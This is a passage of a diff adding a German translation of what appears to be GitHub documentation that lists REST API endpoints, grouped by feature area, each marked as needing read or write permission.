+- [`DELETE /repos/{owner}/{repo}/invitations/{invitation_id}`](/rest/collaborators/invitations#delete-a-repository-invitation) (Schreiben)
+- [`GET /user/repository_invitations`](/rest/collaborators/invitations#list-repository-invitations-for-the-authenticated-user) (Lesen)
+- [`PATCH /user/repository_invitations/{invitation_id}`](/rest/collaborators/invitations#accept-a-repository-invitation) (Schreiben)
+- [`DELETE /user/repository_invitations/{invitation_id}`](/rest/collaborators/invitations#decline-a-repository-invitation) (Schreiben)
+- [`GET /repos/{owner}/{repo}/keys`](/rest/reference/repos#list-deploy-keys) (Lesen)
+- [`POST /repos/{owner}/{repo}/keys`](/rest/reference/repos#create-a-deploy-key) (Schreiben)
+- [`GET /repos/{owner}/{repo}/keys/{key_id}`](/rest/reference/repos#get-a-deploy-key) (Lesen)
+- [`DELETE /repos/{owner}/{repo}/keys/{key_id}`](/rest/reference/repos#delete-a-deploy-key) (Schreiben)
+- [`GET /repos/{owner}/{repo}/pages/health`](/rest/pages#get-a-dns-health-check-for-github-pages) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/runners`](/rest/reference/actions#list-self-hosted-runners-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/actions/runners/{runner_id}`](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository) (Lesen)
+- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}`](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#list-labels-for-a-self-hosted-runner-for-a-repository) (Lesen)
+- [`POST /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#add-custom-labels-to-a-self-hosted-runner-for-a-repository) (Schreiben)
+- [`PUT /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#set-custom-labels-for-a-self-hosted-runner-for-a-repository) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}/labels`](/rest/reference/actions#remove-all-custom-labels-from-a-self-hosted-runner-for-a-repository) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/actions/runners/{runner_id}/labels/{name}`](/rest/reference/actions#remove-a-custom-label-from-a-self-hosted-runner-for-a-repository) (Schreiben)
+- [`GET /repos/{owner}/{repo}/actions/runners/downloads`](/rest/reference/actions#list-runner-applications-for-a-repository) (Lesen)
+- [`POST /repos/{owner}/{repo}/actions/runners/registration-token`](/rest/reference/actions#create-a-registration-token-for-a-repository) (Schreiben)
+- [`POST /repos/{owner}/{repo}/actions/runners/remove-token`](/rest/reference/actions#create-a-remove-token-for-a-repository) (Schreiben)
+- [`GET /repos/{owner}/{repo}/tags/protection`](/rest/reference/repos#list-tag-protection-state-of-a-repository) (Lesen)
+- [`POST /repos/{owner}/{repo}/tags/protection`](/rest/reference/repos#create-tag-protection-state-for-a-repository) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/tags/protection/{tag_protection_id}`](/rest/reference/repos#delete-tag-protection-state-for-a-repository) (Schreiben)
+- [`GET /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#check-if-vulnerability-alerts-are-enabled-for-a-repository) (Lesen)
+- [`PUT /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#enable-vulnerability-alerts) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/vulnerability-alerts`](/rest/reference/repos#disable-vulnerability-alerts) (Schreiben)
+- [`PUT /repos/{owner}/{repo}/topics`](/rest/reference/repos#replace-all-repository-topics) (Schreiben)
+- [`GET /repos/{owner}/{repo}/traffic/clones`](/rest/metrics/traffic#get-repository-clones) (Lesen)
+- [`GET /repos/{owner}/{repo}/traffic/popular/paths`](/rest/metrics/traffic#get-top-referral-paths) (Lesen)
+- [`GET /repos/{owner}/{repo}/traffic/popular/referrers`](/rest/metrics/traffic#get-top-referral-sources) (Lesen)
+- [`GET /repos/{owner}/{repo}/traffic/views`](/rest/metrics/traffic#get-page-views) (Lesen)
+
+## Blockierung
+
+- [`GET /user/blocks`](/rest/reference/users#list-users-blocked-by-the-authenticated-user) (Lesen)
+- [`GET /user/blocks/{username}`](/rest/reference/users#check-if-a-user-is-blocked-by-the-authenticated-user) (Lesen)
+- [`PUT /user/blocks/{username}`](/rest/reference/users#block-a-user) (Schreiben)
+- [`DELETE /user/blocks/{username}`](/rest/reference/users#unblock-a-user) (Schreiben)
+
+## Prüfungen
+
+- [`POST /repos/{owner}/{repo}/check-runs`](/rest/reference/checks#create-a-check-run) (Schreiben)
+- [`GET /repos/{owner}/{repo}/check-runs/{check_run_id}`](/rest/reference/checks#get-a-check-run) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/check-runs/{check_run_id}`](/rest/reference/checks#update-a-check-run) (Schreiben)
+- [`GET /repos/{owner}/{repo}/check-runs/{check_run_id}/annotations`](/rest/reference/checks#list-check-run-annotations) (Lesen)
+- [`POST /repos/{owner}/{repo}/check-runs/{check_run_id}/rerequest`](/rest/reference/checks#rerequest-a-check-run) (Schreiben)
+- [`GET /repos/{owner}/{repo}/check-suites/{check_suite_id}/check-runs`](/rest/reference/checks#list-check-runs-in-a-check-suite) (Lesen)
+- [`POST /repos/{owner}/{repo}/check-suites`](/rest/reference/checks#create-a-check-suite) (Schreiben)
+- [`GET /repos/{owner}/{repo}/check-suites/{check_suite_id}`](/rest/reference/checks#get-a-check-suite) (Lesen)
+- [`POST /repos/{owner}/{repo}/check-suites/{check_suite_id}/rerequest`](/rest/reference/checks#rerequest-a-check-suite) (Schreiben)
+- [`PATCH /repos/{owner}/{repo}/check-suites/preferences`](/rest/reference/checks#update-repository-preferences-for-check-suites) (Schreiben)
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#review-pending-deployments-for-a-workflow-run) (Lesen)
+
+## Codespaces
+
+- [`GET /orgs/{org}/codespaces`](/rest/reference/codespaces#list-in-organization) (Lesen)
+- [`GET /repos/{owner}/{repo}/codespaces`](/rest/reference/codespaces#list-codespaces-in-a-repository-for-the-authenticated-user) (Lesen)
+- [`POST /repos/{owner}/{repo}/codespaces`](/rest/reference/codespaces#create-a-codespace-in-a-repository) (Schreiben)
+- [`GET /repos/{owner}/{repo}/codespaces/new`](/rest/reference/codespaces#preview-attributes-for-a-new-codespace) (Schreiben)
+- [`POST /repos/{owner}/{repo}/pulls/{pull_number}/codespaces`](/rest/reference/codespaces#create-a-codespace-from-a-pull-request) (Schreiben)
+- [`GET /user/codespaces`](/rest/reference/codespaces#list-codespaces-for-the-authenticated-user) (Lesen)
+- [`POST /user/codespaces`](/rest/reference/codespaces#create-a-codespace-for-the-authenticated-user) (Schreiben)
+- [`GET /user/codespaces/{codespace_name}`](/rest/reference/codespaces#get-a-codespace-for-the-authenticated-user) (Lesen)
+- [`PATCH /user/codespaces/{codespace_name}`](/rest/reference/codespaces#update-a-codespace-for-the-authenticated-user) (Schreiben)
+- [`DELETE /user/codespaces/{codespace_name}`](/rest/reference/codespaces#delete-a-codespace-for-the-authenticated-user) (Schreiben)
+
+## Lebenszyklusverwaltung von Codespaces
+
+- [`POST /user/codespaces/{codespace_name}/exports`](/rest/codespaces/codespaces#export-a-codespace-for-the-authenticated-user) (Schreiben)
+- [`GET /user/codespaces/{codespace_name}/exports/{export_id}`](/rest/codespaces/codespaces#get-details-about-a-codespace-export) (Lesen)
+- [`POST /user/codespaces/{codespace_name}/start`](/rest/reference/codespaces#start-a-codespace-for-the-authenticated-user) (Schreiben)
+- [`POST /user/codespaces/{codespace_name}/stop`](/rest/reference/codespaces#stop-a-codespace-for-the-authenticated-user) (Schreiben)
+
+## Codespacemetadaten
+
+- [`GET /repos/{owner}/{repo}/codespaces/devcontainers`](/rest/reference/codespaces#list-devcontainers-in-a-repository-for-the-authenticated-user) (Lesen)
+- [`GET /repos/{owner}/{repo}/codespaces/machines`](/rest/reference/codespaces#list-available-machine-types-for-a-repository) (Lesen)
+- [`GET /user/codespaces/{codespace_name}/machines`](/rest/reference/codespaces#list-machine-types-for-a-codespace) (Lesen)
+
+## Codespacegeheimnisse
+
+- [`GET /repos/{owner}/{repo}/codespaces/secrets`](/rest/reference/codespaces#list-repository-secrets) (Schreiben)
+- [`GET /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-a-repository-secret) (Schreiben)
+- [`PUT /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-repository-secret) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-repository-secret) (Schreiben)
+- [`GET /repos/{owner}/{repo}/codespaces/secrets/public-key`](/rest/reference/codespaces#get-a-repository-public-key) (Schreiben)
+
+## Codespaces-Benutzergeheimnisse
+
+- [`GET /user/codespaces/secrets`](/rest/reference/codespaces#list-secrets-for-the-authenticated-user) (Lesen)
+- [`GET /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#get-a-secret-for-the-authenticated-user) (Lesen)
+- [`PUT /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#create-or-update-a-secret-for-the-authenticated-user) (Schreiben)
+- [`DELETE /user/codespaces/secrets/{secret_name}`](/rest/reference/codespaces#delete-a-secret-for-the-authenticated-user) (Schreiben)
+- [`GET /user/codespaces/secrets/public-key`](/rest/reference/codespaces#get-public-key-for-the-authenticated-user) (Lesen)
+- [`GET /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#list-selected-repositories-for-a-user-secret) (Lesen)
+- [`PUT /user/codespaces/secrets/{secret_name}/repositories`](/rest/reference/codespaces#set-selected-repositories-for-a-user-secret) (Schreiben)
+- [`PUT /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#add-a-selected-repository-to-a-user-secret) (Schreiben)
+- [`DELETE /user/codespaces/secrets/{secret_name}/repositories/{repository_id}`](/rest/reference/codespaces#remove-a-selected-repository-from-a-user-secret) (Schreiben)
+
+## Inhalte
+
+- [`GET /repos/{owner}/{repo}/codeowners/errors`](/rest/reference/repos#list-codeowners-errors) (Lesen)
+- [`POST /repos/{owner}/{repo}/git/blobs`](/rest/reference/git#create-a-blob) (Schreiben)
+- [`POST /repos/{owner}/{repo}/git/commits`](/rest/reference/git#create-a-commit) (Schreiben)
+- [`POST /repos/{owner}/{repo}/git/refs`](/rest/reference/git#create-a-reference) (Schreiben)
+- [`POST /repos/{owner}/{repo}/git/tags`](/rest/reference/git#create-a-tag-object) (Schreiben)
+- [`POST /repos/{owner}/{repo}/git/trees`](/rest/reference/git#create-a-tree) (Schreiben)
+- [`GET /repos/{owner}/{repo}/import`](/rest/reference/migrations#get-an-import-status) (Lesen)
+- [`PUT /repos/{owner}/{repo}/import`](/rest/reference/migrations#start-an-import) (Schreiben)
+- [`PATCH /repos/{owner}/{repo}/import`](/rest/reference/migrations#update-an-import) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/import`](/rest/reference/migrations#cancel-an-import) (Schreiben)
+- [`GET /repos/{owner}/{repo}/import/authors`](/rest/reference/migrations#get-commit-authors) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/import/authors/{author_id}`](/rest/reference/migrations#map-a-commit-author) (Schreiben)
+- [`GET /repos/{owner}/{repo}/import/large_files`](/rest/reference/migrations#get-large-files) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/import/lfs`](/rest/reference/migrations#update-git-lfs-preference) (Schreiben)
+- [`PUT /repos/{owner}/{repo}/pulls/{pull_number}/merge`](/rest/reference/pulls#merge-a-pull-request) (Schreiben)
+- [`POST /repos/{owner}/{repo}/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-a-commit-comment) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-a-commit-comment-reaction) (Schreiben)
+- [`GET /repos/{owner}/{repo}/branches`](/rest/reference/repos#list-branches) (Lesen)
+- [`POST /repos/{owner}/{repo}/merge-upstream`](/rest/reference/repos#sync-a-fork-branch-with-the-upstream-repository) (Schreiben)
+- [`POST /repos/{owner}/{repo}/merges`](/rest/reference/repos#merge-a-branch) (Schreiben)
+- [`GET /repos/{owner}/{repo}/code-scanning/codeql/databases`](/rest/reference/code-scanning#list-codeql-databases) (Lesen)
+- [`GET /repos/{owner}/{repo}/code-scanning/codeql/databases/{language}`](/rest/reference/code-scanning#get-codeql-database) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#update-a-commit-comment) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/comments/{comment_id}`](/rest/commits/comments#delete-a-commit-comment) (Schreiben)
+- [`GET /repos/{owner}/{repo}/commits`](/rest/commits/commits#list-commits) (Lesen)
+- [`GET /repos/{owner}/{repo}/community/profile`](/rest/metrics/community#get-community-profile-metrics) (Lesen)
+- [`GET /repos/{owner}/{repo}/dependency-graph/compare/{basehead}`](/rest/reference/dependency-graph#get-a-diff-of-the-dependencies-between-commits) (Lesen)
+- [`POST /repos/{owner}/{repo}/dispatches`](/rest/reference/repos#create-a-repository-dispatch-event) (Schreiben)
+- [`GET /repos/{owner}/{repo}/releases`](/rest/reference/repos#list-releases) (Lesen)
+- [`POST /repos/{owner}/{repo}/releases`](/rest/reference/repos#create-a-release) (Schreiben)
+- [`GET /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#get-a-release) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#update-a-release) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/releases/{release_id}`](/rest/reference/repos#delete-a-release) (Schreiben)
+- [`GET /repos/{owner}/{repo}/releases/{release_id}/assets`](/rest/reference/repos#list-release-assets) (Lesen)
+- [`GET /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#get-a-release-asset) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#update-a-release-asset) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/releases/assets/{asset_id}`](/rest/reference/repos#delete-a-release-asset) (Schreiben)
+- [`POST /repos/{owner}/{repo}/releases/generate-notes`](/rest/reference/repos#generate-release-notes) (Schreiben)
+- [`GET /repos/{owner}/{repo}/releases/latest`](/rest/reference/repos#get-the-latest-release) (Lesen)
+
+## Dependabot-Geheimnisse
+
+- [`GET /repos/{owner}/{repo}/dependabot/secrets`](/rest/reference/dependabot#list-repository-secrets) (Lesen)
+- [`GET /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#get-a-repository-secret) (Lesen)
+- [`PUT /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#create-or-update-a-repository-secret) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/dependabot/secrets/{secret_name}`](/rest/reference/dependabot#delete-a-repository-secret) (Schreiben)
+- [`GET /repos/{owner}/{repo}/dependabot/secrets/public-key`](/rest/reference/dependabot#get-a-repository-public-key) (Lesen)
+
+## Bereitstellungen
+
+- [`POST /repos/{owner}/{repo}/actions/runs/{run_id}/pending_deployments`](/rest/reference/actions#review-pending-deployments-for-a-workflow-run) (Lesen)
+- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}/statuses`](/rest/reference/repos#list-deployment-statuses) (Lesen)
+- [`POST /repos/{owner}/{repo}/deployments/{deployment_id}/statuses`](/rest/reference/repos#create-a-deployment-status) (Schreiben)
+- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}/statuses/{status_id}`](/rest/reference/repos#get-a-deployment-status) (Lesen)
+- [`GET /repos/{owner}/{repo}/deployments`](/rest/reference/repos#list-deployments) (Lesen)
+- [`POST /repos/{owner}/{repo}/deployments`](/rest/reference/repos#create-a-deployment) (Schreiben)
+- [`GET /repos/{owner}/{repo}/deployments/{deployment_id}`](/rest/reference/repos#get-a-deployment) (Lesen)
+- [`DELETE /repos/{owner}/{repo}/deployments/{deployment_id}`](/rest/reference/repos#delete-a-deployment) (Schreiben)
+
+## E-Mails
+
+- [`PATCH /user/email/visibility`](/rest/reference/users#set-primary-email-visibility-for-the-authenticated-user) (Schreiben)
+- [`GET /user/emails`](/rest/reference/users#list-email-addresses-for-the-authenticated-user) (Lesen)
+- [`POST /user/emails`](/rest/reference/users#add-an-email-address-for-the-authenticated-user) (Schreiben)
+- [`DELETE /user/emails`](/rest/reference/users#delete-an-email-address-for-the-authenticated-user) (Schreiben)
+- [`GET /user/public_emails`](/rest/reference/users#list-public-email-addresses-for-the-authenticated-user) (Lesen)
+
+## Enterprise-Verwaltung
+
+- [`GET /enterprises/{enterprise}/settings/billing/advanced-security`](/rest/reference/billing#export-advanced-security-active-committers-data-for-enterprise) (Schreiben)
+- [`GET /enterprises/{enterprise}/actions/cache/usage`](/rest/reference/actions#get-github-actions-cache-usage-for-an-enterprise) (Schreiben)
+
+## Follower
+
+- [`GET /user/followers`](/rest/reference/users#list-followers-of-the-authenticated-user) (Lesen)
+- [`GET /user/following`](/rest/reference/users#list-the-people-the-authenticated-user-follows) (Lesen)
+- [`GET /user/following/{username}`](/rest/reference/users#check-if-a-person-is-followed-by-the-authenticated-user) (Lesen)
+- [`PUT /user/following/{username}`](/rest/reference/users#follow-a-user) (Schreiben)
+- [`DELETE /user/following/{username}`](/rest/reference/users#unfollow-a-user) (Schreiben)
+
+## Gists
+
+- [`POST /gists/{gist_id}/comments`](/rest/reference/gists#create-a-gist-comment) (Schreiben)
+- [`PATCH /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#update-a-gist-comment) (Schreiben)
+- [`DELETE /gists/{gist_id}/comments/{comment_id}`](/rest/reference/gists#delete-a-gist-comment) (Schreiben)
+- [`POST /gists`](/rest/reference/gists#create-a-gist) (Schreiben)
+- [`PATCH /gists/{gist_id}`](/rest/reference/gists/#update-a-gist) (Schreiben)
+- [`DELETE /gists/{gist_id}`](/rest/reference/gists#delete-a-gist) (Schreiben)
+- [`POST /gists/{gist_id}/forks`](/rest/reference/gists#fork-a-gist) (Schreiben)
+- [`PUT /gists/{gist_id}/star`](/rest/reference/gists#star-a-gist) (Schreiben)
+- [`DELETE /gists/{gist_id}/star`](/rest/reference/gists#unstar-a-gist) (Schreiben)
+
+## Git-Signierung öffentlicher SSH-Schlüssel
+
+- [`GET /user/ssh_signing_keys`](/rest/reference/users#list-public-ssh-signing-keys-for-the-authenticated-user) (Lesen)
+- [`POST /user/ssh_signing_keys`](/rest/reference/users#create-an-ssh-signing-key-for-the-authenticated-user) (Schreiben)
+- [`GET /user/ssh_signing_keys/{ssh_signing_key_id}`](/rest/reference/users#get-a-ssh-signing-key-for-the-authenticated-user) (Lesen)
+- [`DELETE /user/ssh_signing_keys/{ssh_signing_key_id}`](/rest/reference/users#delete-a-ssh-signing-key-for-the-authenticated-user) (Schreiben)
+
+## GPG-Schlüssel
+
+- [`GET /user/gpg_keys`](/rest/reference/users#list-gpg-keys-for-the-authenticated-user) (Lesen)
+- [`POST /user/gpg_keys`](/rest/reference/users#create-a-gpg-key-for-the-authenticated-user) (Schreiben)
+- [`GET /user/gpg_keys/{gpg_key_id}`](/rest/reference/users#get-a-gpg-key-for-the-authenticated-user) (Lesen)
+- [`DELETE /user/gpg_keys/{gpg_key_id}`](/rest/reference/users#delete-a-gpg-key-for-the-authenticated-user) (Schreiben)
+
+## Interaktionsgrenzwerte
+
+- [`GET /user/interaction-limits`](/rest/reference/interactions#get-interaction-restrictions-for-your-public-repositories) (Lesen)
+- [`PUT /user/interaction-limits`](/rest/reference/interactions#set-interaction-restrictions-for-your-public-repositories) (Schreiben)
+- [`DELETE /user/interaction-limits`](/rest/reference/interactions#remove-interaction-restrictions-from-your-public-repositories) (Schreiben)
+
+## Probleme
+
+- [`POST /repos/{owner}/{repo}/issues/{issue_number}/assignees`](/rest/reference/issues#add-assignees-to-an-issue) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/assignees`](/rest/reference/issues#remove-assignees-from-an-issue) (Schreiben)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}/comments`](/rest/reference/issues#list-issue-comments) (Lesen)
+- [`POST /repos/{owner}/{repo}/issues/{issue_number}/comments`](/rest/reference/issues#create-an-issue-comment) (Schreiben)
+- [`GET /repos/{owner}/{repo}/issues/comments`](/rest/reference/issues#list-issue-comments-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#get-an-issue-comment) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#update-an-issue-comment) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}`](/rest/reference/issues#delete-an-issue-comment) (Schreiben)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}/events`](/rest/reference/issues#list-issue-events) (Lesen)
+- [`GET /repos/{owner}/{repo}/issues/events`](/rest/reference/issues#list-issue-events-for-a-repository) (Lesen)
+- [`GET /repos/{owner}/{repo}/issues/events/{event_id}`](/rest/reference/issues#get-an-issue-event) (Lesen)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}/timeline`](/rest/reference/issues#list-timeline-events-for-an-issue) (Lesen)
+- [`GET /repos/{owner}/{repo}/assignees`](/rest/reference/issues#list-assignees) (Lesen)
+- [`GET /repos/{owner}/{repo}/issues`](/rest/reference/issues#list-repository-issues) (Lesen)
+- [`POST /repos/{owner}/{repo}/issues`](/rest/reference/issues#create-an-issue) (Schreiben)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}`](/rest/reference/issues#get-an-issue) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/issues/{issue_number}`](/rest/reference/issues/#update-an-issue) (Schreiben)
+- [`PUT /repos/{owner}/{repo}/issues/{issue_number}/lock`](/rest/reference/issues#lock-an-issue) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/lock`](/rest/reference/issues#unlock-an-issue) (Schreiben)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#list-labels-for-an-issue) (Lesen)
+- [`POST /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#add-labels-to-an-issue) (Schreiben)
+- [`PUT /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#set-labels-for-an-issue) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/labels`](/rest/reference/issues#remove-all-labels-from-an-issue) (Schreiben)
+- [`GET /repos/{owner}/{repo}/labels`](/rest/reference/issues#list-labels-for-a-repository) (Lesen)
+- [`POST /repos/{owner}/{repo}/labels`](/rest/reference/issues#create-a-label) (Schreiben)
+- [`GET /repos/{owner}/{repo}/milestones/{milestone_number}/labels`](/rest/reference/issues#list-labels-for-issues-in-a-milestone) (Lesen)
+- [`GET /repos/{owner}/{repo}/milestones`](/rest/reference/issues#list-milestones) (Lesen)
+- [`POST /repos/{owner}/{repo}/milestones`](/rest/reference/issues#create-a-milestone) (Schreiben)
+- [`GET /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#get-a-milestone) (Lesen)
+- [`PATCH /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#update-a-milestone) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/milestones/{milestone_number}`](/rest/reference/issues#delete-a-milestone) (Schreiben)
+- [`GET /repos/{owner}/{repo}/issues/{issue_number}/reactions`](/rest/reference/reactions#list-reactions-for-an-issue) (Lesen)
+- [`POST /repos/{owner}/{repo}/issues/{issue_number}/reactions`](/rest/reference/reactions#create-reaction-for-an-issue) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/issues/{issue_number}/reactions/{reaction_id}`](/rest/reference/reactions#delete-an-issue-reaction) (Schreiben)
+- [`GET /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions`](/rest/reference/reactions#list-reactions-for-an-issue-comment) (Lesen)
+- [`POST /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions`](/rest/reference/reactions#create-reaction-for-an-issue-comment) (Schreiben)
+- [`DELETE /repos/{owner}/{repo}/issues/comments/{comment_id}/reactions/{reaction_id}`](/rest/reference/reactions#delete-an-issue-comment-reaction) (Schreiben)
+
+## Tasten
+
+- [`GET /user/keys`](/rest/reference/users#list-public-ssh-keys-for-the-authenticated-user) (Lesen)
+- [`POST /user/keys`](/rest/reference/users#create-a-public-ssh-key-for-the-authenticated-user) (Schreiben)
+- [`GET /user/keys/{key_id}`](/rest/reference/users#get-a-public-ssh-key-for-the-authenticated-user) (Lesen)
+- [`DELETE /user/keys/{key_id}`](/rest/reference/users#delete-a-public-ssh-key-for-the-authenticated-user) (Schreiben)
+
+## Member
+
+{% ifversion ghec %}: [`PATCH /orgs/{org}/teams/{team_slug}/external-groups`](/rest/reference/teams#link-external-idp-group-team-connection) (Schreiben){% endif %} {% ifversion ghec %}: [`DELETE /orgs/{org}/teams/{team_slug}/external-groups`](/rest/reference/teams#unlink-external-idp-group-team-connection) (Schreiben){% endif %} {% ifversion ghec %}: [`GET /orgs/{org}/external-group/{group_id}`](/rest/reference/teams#external-idp-group-info-for-an-organization) (Schreiben){% endif %} {% ifversion ghec %}: [`GET /orgs/{org}/external-groups`](/rest/reference/teams#list-external-idp-groups-for-an-organization) (Schreiben){% endif %}
+- [`GET /orgs/{org}/failed_invitations`](/rest/reference/orgs#list-failed-organization-invitations) (Lesen)
+- [`GET /orgs/{org}/invitations`](/rest/reference/orgs#list-pending-organization-invitations) (Lesen)
+- [`POST /orgs/{org}/invitations`](/rest/reference/orgs#create-an-organization-invitation) (Schreiben)
+- [`DELETE /orgs/{org}/invitations/{invitation_id}`](/rest/reference/orgs#cancel-an-organization-invitation) (Schreiben)
+- [`GET /orgs/{org}/invitations/{invitation_id}/teams`](/rest/reference/orgs#list-organization-invitation-teams) (Lesen)
+- [`GET /orgs/{org}/members`](/rest/reference/orgs#list-organization-members) (Lesen)
+- [`GET /orgs/{org}/members/{username}`](/rest/reference/orgs#check-organization-membership-for-a-user) (Lesen)
+- [`DELETE /orgs/{org}/members/{username}`](/rest/reference/orgs#remove-an-organization-member) (Schreiben)
+- [`GET /orgs/{org}/memberships/{username}`](/rest/reference/orgs#get-organization-membership-for-a-user) (Lesen)
+- [`PUT /orgs/{org}/memberships/{username}`](/rest/reference/orgs#set-organization-membership-for-a-user) (Schreiben)
+- [`DELETE /orgs/{org}/memberships/{username}`](/rest/reference/orgs#remove-organization-membership-for-a-user) (Schreiben)
+- [`GET /orgs/{org}/public_members`](/rest/reference/orgs#list-public-organization-members) (Lesen)
+- [`GET /orgs/{org}/public_members/{username}`](/rest/reference/orgs#check-public-organization-membership-for-a-user) (Lesen)
+- [`PUT /orgs/{org}/public_members/{username}`](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user) (Schreiben)
+- [`DELETE /orgs/{org}/public_members/{username}`](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user) (Schreiben)
+- [`GET /orgs/{org}/outside_collaborators`](/rest/reference/orgs#list-outside-collaborators-for-an-organization) (Lesen)
+- [`PUT /orgs/{org}/outside_collaborators/{username}`](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator) (Schreiben)
+- [`DELETE /orgs/{org}/outside_collaborators/{username}`](/rest/reference/orgs#remove-outside-collaborator-from-an-organization) (Schreiben)
+- [`GET /orgs/{org}/teams/{team_slug}/projects`](/rest/reference/teams#list-team-projects) (Lesen)
+- [`GET /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#check-team-permissions-for-a-project) (Lesen)
+- [`PUT /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#add-or-update-team-project-permissions) (Lesen)
+- [`DELETE /orgs/{org}/teams/{team_slug}/projects/{project_id}`](/rest/reference/teams#remove-a-project-from-a-team) (Lesen)
+- [`GET /orgs/{org}/teams/{team_slug}/repos`](/rest/reference/teams#list-team-repositories) (Lesen)
+- [`GET /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#check-team-permissions-for-a-repository) (Lesen)
+- [`PUT /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#add-or-update-team-repository-permissions) (Lesen)
+- [`DELETE /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo}`](/rest/reference/teams/#remove-a-repository-from-a-team) (Lesen)
+- [`PATCH /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#update-a-team) (Schreiben)
+- [`DELETE /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#delete-a-team) (Schreiben)
+- [`GET /orgs/{org}/teams/{team_slug}/invitations`](/rest/reference/teams#list-pending-team-invitations) (Lesen)
+- [`GET /orgs/{org}/teams/{team_slug}/members`](/rest/reference/teams#list-team-members) (Lesen)
+- [`GET /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#get-team-membership-for-a-user) (Lesen)
+- [`PUT /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#add-or-update-team-membership-for-a-user) (Schreiben)
+- [`DELETE /orgs/{org}/teams/{team_slug}/memberships/{username}`](/rest/reference/teams#remove-team-membership-for-a-user) (Schreiben)
+- [`GET /orgs/{org}/teams/{team_slug}/teams`](/rest/reference/teams#list-child-teams) (Lesen)
+- [`GET /orgs/{org}/teams/{team_slug}`](/rest/reference/teams#get-a-team-by-name) (Lesen)
+- [`GET /orgs/{org}/teams`](/rest/reference/teams#list-teams) (Lesen)
